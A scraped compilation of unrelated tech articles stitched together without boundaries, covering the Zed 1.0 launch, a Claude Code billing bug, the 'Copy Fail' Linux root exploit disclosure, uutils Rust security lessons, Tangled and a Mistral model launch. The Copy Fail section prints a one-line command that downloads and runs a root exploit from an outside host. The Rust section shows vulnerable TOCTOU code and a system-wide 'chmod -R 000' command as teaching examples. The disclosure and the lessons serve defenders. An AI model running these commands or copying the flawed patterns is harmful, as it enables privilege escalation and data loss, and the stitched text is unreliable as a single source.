April 29th, 2026

To cre­ate a fun­da­men­tally bet­ter ed­i­tor, we had to in­vent a new ap­proach to build­ing desk­top soft­ware. Our pre­vi­ous ed­i­tor, Atom, was built as a fork of Chromium, spawn­ing the Electron frame­work in the process. Electron even­tu­ally be­came the foun­da­tion of VS Code (which to­day seems to be forked into a new AI code ed­i­tor every other week). Web tech­nol­ogy of­fered an easy path to ship­ping flex­i­ble soft­ware, but it also im­posed a ceil­ing. No mat­ter how hard we worked, we could­n’t make Atom bet­ter than the plat­form it was built on.

So we started over. Instead of build­ing Zed like a web page, we built it like a video game, or­ga­niz­ing the en­tire ap­pli­ca­tion around feed­ing data to shaders run­ning on the GPU. That meant writ­ing our own UI frame­work, GPUI, from scratch in Rust.

Owning every layer of our stack lets us take Zed places that no one build­ing on bor­rowed foun­da­tions can go, but we knew from the be­gin­ning that it was­n’t go­ing to be an easy path. Thanks to years of hard work by our team and com­mu­nity, Zed is closer than ever to that ideal tool we set out to cre­ate. We’ve added a ton of ca­pa­bil­i­ties while re­main­ing true to our core ethos of craft and per­for­mance, and hun­dreds of thou­sands of de­vel­op­ers now rely on Zed to ship soft­ware each day. That’s part of what gives us the con­fi­dence to de­clare ver­sion 1.0.

What 1.0 Means

Developers ex­pect a mod­ern ed­i­tor to sup­port dozens of lan­guages and their ecosys­tems, end­less vari­a­tions and edge cases across every stack: Git in­te­gra­tion, SSH re­mot­ing, a Debugger, and, yes, rain­bow brack­ets. We’ve spent five years build­ing that sur­face area across Mac, Windows, and Linux, ex­ceed­ing a mil­lion lines of code.

Zed is also an AI-native ed­i­tor. You can run mul­ti­ple agents in par­al­lel, and edit pre­dic­tions sug­gest your next change at key­stroke gran­u­lar­ity and with the speed you’ve come to ex­pect from Zed. The Agent Client Protocol opens Zed up to a grow­ing num­ber of the best agents out there, in­clud­ing Claude Agent, Codex, OpenCode, and more re­cently Cursor. We built AI into our ed­i­tor’s foun­da­tion in­stead of bolt­ing it on top.

We’re also launch­ing Zed for Business. Companies have been ask­ing us for a way to roll out Zed to their en­gi­neer­ing teams, and very soon they can, with cen­tral­ized billing, role-based ac­cess con­trols, and team man­age­ment.

1.0 does­n’t mean “done”. It also does­n’t mean “perfect”. It means we’ve reached a tip­ping point where most de­vel­op­ers can quickly feel at home in Zed. If you tried Zed a year or two ago and bounced be­cause some­thing was miss­ing, 1.0 is our in­vi­ta­tion to try again. Zed is more ca­pa­ble than it’s ever been, and still more per­for­mant.

Where We’re Going

Our vi­sion has­n’t changed since we started: we’re build­ing the most per­for­mant and col­lab­o­ra­tive cod­ing en­vi­ron­ment. What’s changed is what col­lab­o­ra­tion means while cre­at­ing soft­ware. It used to mean hu­mans work­ing to­gether in real time. Now it means hu­mans and AI agents, work­ing in the same space, on the same code.

Building our own foun­da­tions is what got us to 1.0, and it’s also what makes the next chap­ter pos­si­ble. We’re ac­tively de­vel­op­ing DeltaDB, a syn­chro­niza­tion en­gine built on CRDTs that tracks every change with char­ac­ter-level gran­u­lar­ity. DeltaDB lets mul­ti­ple hu­mans and agents share a sin­gle, con­sis­tent view of the code­base as it evolves. DeltaDB will al­low you to in­vite team­mates into con­ver­sa­tions with agents to re­view and evolve agen­tic code di­rectly in the con­text from which it’s gen­er­ated.

This vi­sion de­pends on deep own­er­ship of our fun­da­men­tal prim­i­tives. It’s not an ex­pe­ri­ence we’d be able to ship in­side of some­one else’s browser en­gine.

A Milestone, Not a Finish Line

We’ve shipped over a thou­sand ver­sions of Zed, but all of them be­gan with zero. Today, that changes.

We’ll keep ship­ping every week, the way we al­ways have. The list of things to build will never end, and that’s ex­actly how we like it. Each re­lease moves the craft for­ward.

If you want to try Zed, down­load now. If you want to help us build it, join us!

Related Posts

Check out sim­i­lar blogs from the Zed team.

Looking for a bet­ter ed­i­tor?

You can try Zed to­day on ma­cOS, Windows, or Linux. Download now!

We are hir­ing!

If you’re pas­sion­ate about the top­ics we cover on our blog, please con­sider join­ing our team to help us ship the fu­ture of soft­ware de­vel­op­ment.

Summary

When a git repos­i­to­ry’s re­cent com­mit his­tory con­tains the case-sen­si­tive string HERMES.md, Claude Code routes API re­quests to “extra us­age” billing in­stead of the in­cluded Max plan quota. This silently burned through $200 in ex­tra us­age cred­its while my Max 20x plan ca­pac­ity re­mained largely un­touched (13% weekly us­age).

Environment

Claude Code v2.1.119

ma­cOS (Apple Silicon)

Max 20x plan ($200/month)

Model: claude-opus-4 – 6[1m] (also re­pro­duces with claude-opus-4 – 7)

Reproduction

Minimal re­pro­duc­tion — no pro­ject files needed:

# This FAILS with “out of ex­tra us­age” (routes to ex­tra us­age billing)

mkdir /tmp/test-fail && cd /tmp/test-fail

git init && echo test > test.txt && git add . && git com­mit -m “add HERMES.md”

claude -p “say hello” –model “claude-opus-4 – 6[1m]”

# => API Error: 400 “You’re out of ex­tra us­age…”

# This WORKS (routes to plan quota)

mkdir /tmp/test-pass && cd /tmp/test-pass

git init && echo test > test.txt && git add . && git com­mit -m “add her­mes.md”

claude -p “say hello” –model “claude-opus-4 – 6[1m]”

# => “Hello!”

# Cleanup

rm -rf /tmp/test-fail /tmp/test-pass

The trig­ger is the string HERMES.md in git com­mit mes­sages — not the pres­ence of a file with that name on disk. Claude Code in­cludes re­cent com­mits in its sys­tem prompt, and some­thing server-side routes the re­quest dif­fer­ently when this string is pre­sent.

What trig­gers it vs. what does­n’t

Impact

$200.98 in ex­tra us­age cred­its con­sumed for re­quests that should have been cov­ered by the in­cluded Max 20x plan quota

Multiple pro­jects be­came com­pletely un­us­able once ex­tra us­age was de­pleted, while the plan dash­board showed 86%+ re­main­ing weekly ca­pac­ity

The er­ror mes­sage (“out of ex­tra us­age”) gives no in­di­ca­tion that con­tent-based rout­ing is the cause, mak­ing this ex­tremely dif­fi­cult to di­ag­nose

Any user with HERMES.md in re­cent git com­mits would silently have their us­age billed to ex­tra cred­its

Expected be­hav­ior

API re­quest billing should not de­pend on the con­tent of git com­mit mes­sages in the sys­tem prompt. All re­quests from a Max plan sub­scriber should route to the in­cluded plan quota first.

How I found this

Systematic bi­nary search: cloning af­fected re­pos, test­ing or­phan branches, then iso­lat­ing in­di­vid­ual com­mit mes­sage strings un­til HERMES.md was iden­ti­fied as the ex­act trig­ger.

JavaScript is not avail­able. We’ve de­tected that JavaScript is dis­abled in this browser. Please en­able JavaScript or switch to a sup­ported browser to con­tinue us­ing x.com. You can see a list of sup­ported browsers in our Help Center.

Something went wrong, but don’t fret — let’s give it an­other shot.

Some pri­vacy re­lated ex­ten­sions may cause is­sues on x.com. Please dis­able them and try again.

CVE-2026 – 31431

100% re­li­able

every dis­tro since 2017

con­tainer es­cape prim­i­tive

732 bytes

found by Xint Code

Most Linux LPEs need a race win­dow or a ker­nel-spe­cific off­set.Copy Fail is a straight-line logic flaw — it needs nei­ther.The same 732-byte Python script roots every Linux dis­tri­b­u­tion shipped since 2017.

One logic bug in au­thencesn, chained through AF_ALG and splice() into a 4-byte page-cache write — silently ex­ploitable for nearly a decade.

The demo

Same script, four dis­tri­b­u­tions, four root shells — in one take. The same ex­ploit bi­nary works un­mod­i­fied on every Linux dis­tri­b­u­tion.

tmux — copy fail demo

live

Who is af­fected

If your ker­nel was built be­tween 2017 and the patch — which cov­ers es­sen­tially every main­stream Linux dis­tri­b­u­tion — you’re in scope.

Copy Fail re­quires only an un­priv­i­leged lo­cal user ac­count — no net­work ac­cess, no ker­nel de­bug­ging fea­tures, no pre-in­stalled prim­i­tives. The ker­nel crypto API (AF_ALG) ships en­abled in es­sen­tially every main­stream dis­tro’s de­fault con­fig, so the en­tire 2017 → patch win­dow is in play out of the box.

Distributions we di­rectly ver­i­fied:

These are what we tested di­rectly. Other dis­tri­b­u­tions run­ning af­fected ker­nels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the em­bed­ded crowd — be­have the same. Tested it else­where? Open an is­sue to add to the list.

Should you patch first?

High

Multi-tenant Linux hosts

Shared dev boxes, shell-as-a-ser­vice, jump hosts, build servers — any­where mul­ti­ple users share a ker­nel.

any user be­comes root

High

Kubernetes / con­tainer clus­ters

The page cache is shared across the host. A pod with the right prim­i­tives com­pro­mises the node and crosses ten­ant bound­aries.

cross-con­tainer, cross-ten­ant

High

CI run­ners & build farms

GitHub Actions self-hosted run­ners, GitLab run­ners, Jenkins agents — any­thing that ex­e­cutes un­trusted PR code as a reg­u­lar user, on a shared ker­nel.

a PR be­comes root on the run­ner

High

Cloud SaaS run­ning user code

Notebook hosts, agent sand­boxes, server­less func­tions, any ten­ant-sup­plied con­tainer or script.

ten­ant be­comes host root

Medium

Standard Linux servers

Single-tenant pro­duc­tion where only your team has shell ac­cess.

in­ter­nal LPE; chains with web RCE or stolen creds

Lower

Single-user lap­tops & work­sta­tions

You’re al­ready the only user. The bug does­n’t grant re­mote at­tack­ers ac­cess by it­self, but any lo­cal code ex­e­cu­tion be­comes root.

post-ex­ploita­tion step-up

Exploit

The PoC is pub­lished so de­fend­ers can ver­ify their own sys­tems and val­i­date ven­dor patches.

Use re­spon­si­bly. Run only on sys­tems you own or have writ­ten au­tho­riza­tion to test. The script ed­its the page cache of a se­tuid bi­nary; the change is not per­sis­tent across re­boot, but the re­sult­ing root shell is real. Don’t run it on pro­duc­tion.

copy­_­fail_­exp.py 732 B

Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib).Tar­gets /usr/bin/su by de­fault; pass an­other se­tuid bi­nary as argv[1].

sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952d­f05c719aa3911687f9

Quick run:

$ curl https://​copy.fail/​exp | python3 && su

# id

uid=0(root) gid=1002(user) groups=1002(user)

Issue tracker: https://​github.com/​the­ori-io/​copy-fail-CVE-2026 – 31431

Mitigation

Patch first. Update your dis­tri­b­u­tion’s ker­nel pack­age to one that in­cludes main­line com­mit a664bf3d603d — it re­verts the 2017 al­gif_aead in-place op­ti­miza­tion, so page-cache pages can no longer end up in the writable des­ti­na­tion scat­terlist. Most ma­jor dis­tri­b­u­tions are ship­ping the fix now.

Before you can patch: dis­able the al­gif_aead mod­ule.

# echo “install al­gif_aead /bin/false” > /etc/modprobe.d/disable-algif.conf

# rm­mod al­gif_aead 2>/dev/null || true

What does this break? For the vast ma­jor­ity of sys­tems — noth­ing mea­sur­able.

Will not af­fect: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-ker­nel TLS, OpenSSL/GnuTLS/NSS de­fault builds, SSH, ker­nel keyring crypto. These all use the in-ker­nel crypto API di­rectly — they don’t go through AF_ALG.

May af­fect: user­space specif­i­cally con­fig­ured to use AF_ALG — e.g. OpenSSL with the afalg en­gine ex­plic­itly en­abled, some em­bed­ded crypto of­fload paths, or ap­pli­ca­tions that bind aead/​skci­pher/​hash sock­ets di­rectly. Check with lsof | grep AF_ALG or ss -xa if in doubt.

Performance: AF_ALG is a user­space front door to the ker­nel crypto API. Disabling it does not slow any­thing that was­n’t al­ready call­ing it; for the things that were, per­for­mance falls back to a nor­mal user­space crypto li­brary, which is what al­most every­thing else al­ready does.

For un­trusted work­loads (containers, sand­boxes, CI), block AF_ALG socket cre­ation via sec­comp re­gard­less of patch state.

FAQ

Loading FAQ…

Disclosure time­line

2026 – 03-23Reported to Linux ker­nel se­cu­rity team

2026 – 03-24Initial ac­knowl­edg­ment

2026 – 03-25Patches pro­posed and re­viewed

2026 – 04-01Patch com­mit­ted to main­line

2026 – 04-22CVE-2026 – 31431 as­signed

2026 – 04-29Public dis­clo­sure (https://​copy.fail/)

Xint Code

Is your soft­ware AI-era safe?

Copy Fail was sur­faced by Xint Code about an hour of scan time against the Linux crypto/ sub­sys­tem. Full root cause, di­a­grams, and the op­er­a­tor prompt that found it are in the Xint blog write-up.

The same scan also sur­faced other high-sever­ity bugs, still in co­or­di­nated dis­clo­sure. Xint Code au­dits pro­duc­tion code­bases the same way — one op­er­a­tor prompt, no har­ness­ing, pri­or­i­tized find­ings with trig­ger and im­pact nar­ra­tives.

Track record

0-day RCE

ZeroDay Cloud

Swept the data­base cat­e­gory — Redis, PostgreSQL, MariaDB. Zero hu­man in­ter­ven­tion.

Top 3

DARPA AIxCC

Finalist in the AI Cyber Challenge hosted by DoD DARPA.

9×

DEF CON CTF

Most-winning team in DEF CON CTF his­tory.

In April 2026, Canonical dis­closed 44 CVEs in uu­tils, the Rust reim­ple­men­ta­tion of GNU core­utils that ships by de­fault since 25.10. Most of them came out of an ex­ter­nal au­dit com­mis­sioned ahead of the 26.04 LTS.

I read through the list and thought there’s a lot to learn from it.

What’s no­table is that all of these bugs landed in a pro­duc­tion Rust code­base, writ­ten by peo­ple who knew what they were do­ing, and none of them were caught by the bor­row checker, clippy lints, or cargo au­dit.

I’m not writ­ing this to crit­i­cize the uu­tils team. Quite the con­trary; I ac­tu­ally want to thank them for shar­ing the au­dit re­sults in such de­tail so that we can all learn from them.

We also had Jon Seager, VP Engineering for Ubuntu, on our ‘Rust in Production’ pod­cast re­cently and a lot of lis­ten­ers ap­pre­ci­ated his hon­esty about the state of Rust at Canonical.

If you write sys­tems code in Rust, this is the most con­cen­trated look at where Rust’s safety ends that you’ll likely find any­where right now.

Don’t Trust a Path Across Two Syscalls

This is the largest clus­ter of bugs in the au­dit. It’s also the rea­son cp, mv, and rm are still GNU in Ubuntu 26.04 LTS. :(

The pat­tern is al­ways the same. You do one syscall to check some­thing about a path, then an­other syscall to act on the same path. Between those two calls, an at­tacker with write ac­cess to a par­ent di­rec­tory can swap the path com­po­nent for a sym­bolic link. The ker­nel re-re­solves the path from scratch on the sec­ond call, and the priv­i­leged ac­tion lands on the at­tack­er’s cho­sen tar­get.

Rust’s stan­dard li­brary makes this easy to get wrong. The er­gonomic APIs you reach for first (fs::metadata, File::create, fs::re­move_­file, fs::set_per­mis­sions) all take a path and re-re­solve it every time, rather than tak­ing a file de­scrip­tor and op­er­at­ing rel­a­tive to that.

That’s fine for a nor­mal pro­gram, but if you’re writ­ing a priv­i­leged tool that needs to be se­cure against lo­cal at­tack­ers, you have to be care­ful.

Case Study: CVE-2026 – 35355

Here’s the bug, sim­pli­fied from src/​uu/​in­stall/​src/​in­stall.rs.

// 1. Clear the des­ti­na­tion

fs::re­move_­file(to)?;

// …

// 2. Create the des­ti­na­tion. The path is re-re­solved here!

let mut dest = File::create(to)?; // fol­lows sym­links, trun­cates

copy(from, &mut dest)?;

Between step 1 and step 2, any­one with write ac­cess to the par­ent di­rec­tory can plant to as a sym­link to, say, /etc/shadow. Then File::create fol­lows the sym­link and the priv­i­leged process hap­pily over­writes /etc/shadow with what­ever from hap­pened to con­tain.

The fix uses OpenOptions::create_new(true):

fs::re­move_­file(to)?;

let mut dest = OpenOptions::new()

 .write(true)

 .create_new(true)

 .open(to)?;

copy(from, &mut dest)?;

The docs for cre­ate_new say (emphasis mine):

No file is al­lowed to ex­ist at the tar­get lo­ca­tion, also no (dangling) sym­link. In this way, if the call suc­ceeds, the file re­turned is guar­an­teed to be new.

No file is al­lowed to ex­ist at the tar­get lo­ca­tion, also no (dangling) sym­link. In this way, if the call suc­ceeds, the file re­turned is guar­an­teed to be new.

Rule: Anchor on a File Descriptor Instead

A &Path in Rust looks like a value, but re­mem­ber that to the ker­nel it’s just a name. That name can point to dif­fer­ent things from one syscall to the next.

Anchor your op­er­a­tions on a file de­scrip­tor in­stead.

cre­ate_new() only helps with that when you’re cre­at­ing a new file. For every­thing else, open the par­ent di­rec­tory once and work rel­a­tive to that han­dle.

If you act on the same path twice, as­sume it’s a TOCTOU (Time Of Check To Time Of Use) bug un­til you’ve proven oth­er­wise.

Set Permissions at Creation Time, Not After

This is a close rel­a­tive of TOCTOU. You want a di­rec­tory with re­stric­tive per­mis­sions, so you write some­thing like this.

// Create with de­fault per­mis­sions

fs::cre­ate_dir(&path)?;

// Fix up per­mis­sions

fs::set_per­mis­sions(&path, Permissions::from_mode(0o700))?;

For a brief mo­ment, path ex­ists with the de­fault per­mis­sions. Any other user on the sys­tem can open() it dur­ing that win­dow. Once they have a file de­scrip­tor, the later chmod does­n’t take it away from them.

Rule: Set Permissions at Creation, Never After

Reach for OpenOptions::mode() and DirBuilderExt::mode() so the file or di­rec­tory is born with the per­mis­sions you want. The ker­nel will ap­ply your umask on top, so set that ex­plic­itly too if you re­ally care.

String Equality on Paths Is Not the Same as Filesystem Identity

The orig­i­nal –preserve-root check in chmod was lit­er­ally this:

if re­cur­sive && pre­serve_­root && file == Path::new(“/”) {

re­turn Err(PreserveRoot);

}

That com­par­i­son is by­passed by any­thing that re­solves to / but is­n’t spelled /. So /../, /./, /usr/.., or a sym­link that points to /. Run chmod -R 000 /../ and see it rip right past your check and lock down the whole sys­tem.

Here’s the fix:

fn is_­root(file: &Path) -> bool {

matches!(fs::canon­i­cal­ize(file), Ok(p) if p == Path::new(“/”))

}

if re­cur­sive && pre­serve_­root && is_­root(file) {

re­turn Err(PreserveRoot);

}

Rule: Resolve Paths Before Comparing Them

canon­i­cal­ize re­solves .., ., and sym­links into a real ab­solute path. That’s a lot bet­ter than string com­par­i­son.

Oh and if you were won­der­ing about this line:

matches!(fs::canon­i­cal­ize(file), Ok(p) if p == Path::new(“/”))

I think that’s just a fancy way of say­ing

// First, re­solve the path to its canon­i­cal form

if let Ok(p) = fs::canon­i­cal­ize(file) {

// If that suc­ceeded, check if the canon­i­cal path is “/”

p == Path::new(“/”)

} else {

false

}

In the spe­cific case of –preserve-root, this works be­cause / has no par­ent di­rec­tory, so there’s noth­ing for an at­tacker to swap from un­der­neath you. In the more gen­eral case of com­par­ing two ar­bi­trary paths for filesys­tem iden­tity, how­ever, you’d want to open both and com­pare their (dev, in­ode) pairs, the way GNU core­utils does. (Think iden­tity, not string equal­ity.)

By the way, my fa­vorite bug in this group is CVE-2026 – 35363:

rm . # ❌

rm .. # ❌

rm ./ # ✅

rm ./// # ✅

It re­fused . and .. but hap­pily ac­cepted ./ and .///, then deleted the cur­rent di­rec­tory while print­ing Invalid in­put. 😅

Stay in Bytes at Unix Boundaries

Rust’s String and &str are al­ways UTF-8.

That’s a great choice in 99% of all cases, but Unix paths, en­vi­ron­ment vari­ables, ar­gu­ments, and the in­puts flow­ing through tools like cut, comm, and tr live in the messy world of bytes.

Every time a Rust pro­gram bridges that gap, it has three op­tions.

🫩 Lossy con­ver­sion with from_ut­f8_lossy silently rewrites in­valid bytes to U+FFFD. That’s just fancy data cor­rup­tion.

🫤 Strict con­ver­sion with un­wrap or ? crashes or re­fuses to op­er­ate.

😚 Staying in bytes with OsStr or &[u8] is what you should usu­ally do.

The au­dit found bugs in both of the first two cat­e­gories. Here’s an ex­am­ple.

Case Study: comm (CVE-2026 – 35346)

This is the orig­i­nal code, from src/​uu/​comm/​src/​comm.rs.

// ra, rb are &[u8], raw bytes from the in­put files.

print!(“{}”, String::from_utf8_lossy(ra));

print!(“{de­lim}{}”, String::from_utf8_lossy(rb));

GNU comm works on bi­nary files be­cause it just shuf­fles bytes around. The uu­tils ver­sion re­placed any­thing that was­n’t valid UTF-8 with U+FFFD, which silently cor­rupted the out­put.

Here’s the fix: stay in bytes.

let mut out = BufWriter::new(io::stdout().lock());

out.write_all(ra)?;

out.write_all(de­lim)?;

out.write_all(rb)?;

print! forces a UTF-8 round-trip through Display. Write::write_all does not.

It writes the raw bytes di­rectly to std­out.

Rule: Pick the Right Type for the Situation

For Unix-flavored sys­tems code, use Path and PathBuf for filesys­tem paths, OsString for en­vi­ron­ment vari­ables, and Vec<u8> or &[u8] for stream con­tents. It’s tempt­ing to round-trip them through String for eas­ier for­mat­ting, but that’s where the cor­rup­tion creeps in.

UTF-8 is a great de­fault for ap­pli­ca­tion strings, but it’s ab­solutely, pos­i­tively the wrong de­fault for the raw byte stuff Unix tools work with.

The code.over­heid.nl (Dutch) plat­form is now live. It is the gov­ern­ment-wide code plat­form for pub­lish­ing and de­vel­op­ing open-source soft­ware. The plat­form is fully self-hosted and sup­ports dig­i­tal sov­er­eignty.

For now, this is a pi­lot us­ing Forgejo, an open-source, European, and sov­er­eign al­ter­na­tive to GitHub and GitLab. Not all gov­ern­ment or­gan­i­sa­tions can use the plat­form yet. Developers are in­vited to con­tribute, with the aim of even­tu­ally grow­ing it into a shared Git plat­form for gov­ern­ment bod­ies.

Get in­volved

The code plat­form is ini­ti­ated by the Open Source Program Office at the Ministry of the Interior and Kingdom Relations (BZK), in col­lab­o­ra­tion with DAWO (SSC-ICT), Opensourcewerken (Dutch), and de­vel­oper.over­heid.nl.  Interested in join­ing? Please email code­plat­form@rijksover­heid.nl.

Further in­for­ma­tion is avail­able in Dutch, in the blog ‘We gaan samen code.over­heid.nl bouwen’ (‘We’re build­ing code.over­heid.nl to­geth­er’) on de­vel­oper.over­heid.nl.

git is de­cen­tral­ized, but what of the rest?

GitHub seems to be crum­bling the past cou­ple of weeks.

Whatever the rea­son, ul­ti­mately its not great for 90% of the

world’s OSS to de­pend on one provider. Centralized sys­tems

al­ways crum­ble; it’s the emails, gits, and IRCs that stand

the test of time. Tangled aims to fit in this space, al­low

me to ex­plain.

Code col­lab­o­ra­tion has al­ways made use of two pro­to­cols, one

for code trans­fer and one for com­mu­ni­ca­tion:

It be­gan with the email flow: git (code trans­fer) + email

(comms)

Then there was GitHub: git (code trans­fer) + GitHub the

web­site (comms)

There is the ForgeFed pro­ject: git (code trans­fer) +

maybe

ActivityPub

(comms)

We are build­ing Tangled: git (code trans­fer) + AT

pro­to­col (comms)

Tangled fed­er­ates events among git servers (called “knots”).

You can col­lab­o­rate on repos­i­to­ries on any server and you

can fork across servers. You can even push to a repos­i­tory

on your own server, and open a pull-re­quest on a repo hosted

on a com­pletely dif­fer­ent server. In a lot of ways, this is

quite like host­ing your own cgit in­stance, and send­ing out

patches via email.

Tangled uses AT to fa­cil­i­tate the Authenticated Transfer of

events sur­round­ing code: like is­sues and pull-re­quests, and

it also en­ables a few so­cial bits: a time­line of events,

fol­lows, stars (and vouches very soon). AT is used to share

col­lab­o­ra­tor in­vites and ssh pub­keys, but the rest is just

good ol’ git.

OSS needs to break free from mono­cul­tures like GitHub, but

code col­lab­o­ra­tion should still be fun and so­cial.

Coding agents have mostly lived on your lap­top. Today we’re mov­ing them to the cloud, where they run on their own, in par­al­lel, and no­tify you when they’re done. You can start them from the Mistral Vibe CLI or di­rectly in Le Chat, of­fload­ing a cod­ing task with­out leav­ing the con­ver­sa­tion.

Powering this is Mistral Medium 3.5 in pub­lic pre­view, our new de­fault model in Mistral Vibe and Le Chat, built to run for long stretches on cod­ing and pro­duc­tiv­ity work. The new Work mode in Le Chat (Preview) ex­tends this with a pow­er­ful agent for com­plex, multi-step tasks like re­search, analy­sis, and cross-tool ac­tions.

Highlights.

Mistral Medium 3.5, a new flag­ship model that merges in­struc­tion-fol­low­ing, rea­son­ing, and cod­ing into a sin­gle 128B dense model. Released as open weights, un­der a mod­i­fied MIT li­cense.

Strong real-world per­for­mance at a size that runs self-hosted on as few as four GPUs.

Mistral Vibe re­mote agents for async cod­ing: ses­sions run in the cloud, can be spawned from the CLI or Le Chat, and a lo­cal CLI ses­sion can be tele­ported up to the cloud.

Start Mistral Vibe cod­ing tasks in Le Chat. Sessions run on the same re­mote run­time and keep go­ing while you step away.

Work mode in Le Chat runs on a new agent, pow­ered by Mistral Medium 3.5, that works through multi-step tasks, call­ing tools in par­al­lel un­til the job is done.

Mistral Medium 3.5.

Mistral Medium 3.5 is our first flag­ship merged model, avail­able in pub­lic pre­view. It is a dense 128B model with a 256k con­text win­dow, han­dling in­struc­tion-fol­low­ing, rea­son­ing, and cod­ing in a sin­gle set of weights. It per­forms strongly in real-world use, with self-host­ing pos­si­ble on as few as four GPUs. Reasoning ef­fort is now con­fig­urable per re­quest, so the same model can an­swer a quick chat re­ply or work through a com­plex agen­tic run. We trained the vi­sion en­coder from scratch to han­dle vari­able im­age sizes and as­pect ra­tios.

Mistral Medium 3.5 scores 77.6% on SWE-Bench Verified, ahead of Devstral 2 and mod­els like Qwen3.5 397B A17B. It also has strong agen­tic ca­pa­bil­i­ties and scores 91.4 on τ³-Tele­com.

The model was built for long-hori­zon tasks, call­ing mul­ti­ple tools re­li­ably, and pro­duc­ing struc­tured out­put that down­stream code can con­sume. It is the model that made async cloud agents in Vibe prac­ti­cal to ship.

Mistral Medium 3.5 be­comes the de­fault model in Le Chat. It also re­places Devstral 2 in our cod­ing agent, Vibe CLI.

Vibe re­mote agents.

From to­day, cod­ing ses­sions can work through long tasks while you’re away. Many can run in par­al­lel, and you stop be­ing the bot­tle­neck on every step the agent takes.

You can start the cloud agents from the Mistral Vibe CLI or from Le Chat. While they run, you can in­spect what the agent is do­ing, with file diffs, tool calls, progress states, and ques­tions sur­faced as you go. Ongoing lo­cal CLI ses­sions can be tele­ported up to the cloud when you want to leave them run­ning, with ses­sion his­tory, task state, and ap­provals car­ry­ing across.

Vibe sits be­tween the sys­tems en­gi­neer­ing teams al­ready use, with hu­mans in the loop wher­ever they’re needed. It plugs into GitHub for code and pull re­quests, Linear and Jira for is­sues, Sentry for in­ci­dents, and apps like Slack or Teams for re­port­ing.

Each cod­ing ses­sion runs in an iso­lated sand­box, in­clud­ing broad ed­its and in­stalls. When the work is done, the agent can open a pull re­quest on GitHub and no­tify you, so you re­view the re­sult in­stead of every key­stroke that pro­duced it.

It fits the high-vol­ume, well-de­fined work that takes a de­vel­op­er’s time with­out tak­ing their judg­ment: mod­ule refac­tors, test gen­er­a­tion, de­pen­dency up­grades, CI in­ves­ti­ga­tions, as well as bug fixes.

We use Workflows or­ches­trated in Mistral Studio to bring Mistral Vibe into Le Chat. We orig­i­nally built this for our own in-house cod­ing en­vi­ron­ment, then for our en­ter­prise cus­tomers. Today the ca­pa­bil­ity opens up to every­one, who can now launch cod­ing tasks from the web. And with­out be­ing tied to a lo­cal ter­mi­nal, a de­vel­oper can run sev­eral in par­al­lel.

You can start cod­ing ses­sions di­rectly in Le Chat, so a task de­scribed in chat runs on the same re­mote run­time as the CLI and the web, and comes back later as a fin­ished branch or a draft PR.

New Work mode in Le Chat (Preview).

Work mode is a pow­er­ful new agen­tic mode for com­plex tasks in Le Chat, pow­ered by a new har­ness and Mistral Medium 3.5. The agent be­comes the ex­e­cu­tion back­end for the as­sis­tant it­self, so Le Chat can read and write, use sev­eral tools at once, and work through multi-step pro­jects un­til it com­pletes what you’ve asked.

Here’s what Work mode en­ables you to do to­day.

Cross-tool work­flows: catch up across email, mes­sages, and cal­en­dar in a sin­gle run; pre­pare for a meet­ing with at­tendee con­text, lat­est news, and talk­ing points pulled from your sources.

Research and syn­the­sis: dive into a topic across the web, in­ter­nal docs, and con­nected tools, then pro­duce a struc­tured brief or re­port you can edit be­fore ex­port­ing or send­ing.

Triage your in­box and draft replies; cre­ate is­sues in Jira from your team and cus­tomer dis­cus­sions; send a sum­mary to your team on Slack.

Sessions per­sist longer than a typ­i­cal chat re­ply, so an agent can keep go­ing across many turns, through trial-and-er­ror, and through to com­ple­tion. In Work mode, con­nec­tors are on by de­fault rather than cho­sen man­u­ally, which lets the agent reach into doc­u­ments, mail­boxes, cal­en­dars, and other sys­tems for the rich con­text it needs to take cor­rect ac­tion.

Every ac­tion the agent takes is vis­i­ble: you see each tool call and the think­ing ra­tio­nale. Le Chat will ask for ex­plicit ap­proval—based on your per­mis­sions—be­fore pro­ceed­ing with sen­si­tive tasks like send­ing a mes­sage, writ­ing a doc­u­ment, or mod­i­fy­ing data.

Get started.

Mistral Medium 3.5 is avail­able to­day in Mistral Vibe and Le Chat, and pow­ers re­mote cod­ing agents and Work mode in Le Chat on the Pro, Team, and Enterprise plans.

Through API, it’s priced at $1.5 per mil­lion in­put to­kens and $7.5 per mil­lion out­put to­kens. Open weights are on Hugging Face un­der a mod­i­fied MIT li­cense.

It is also avail­able for pro­to­typ­ing, hosted on NVIDIA GPU-accelerated end­points on build.nvidia.com and as a scal­able con­tainer­ized in­fer­ence mi­croser­vice, NVIDIA NIM.

Build the fu­ture of agen­tic sys­tems with us.

We’re hir­ing across re­search, en­gi­neer­ing, and prod­uct to push agen­tic sys­tems fur­ther. See our open roles.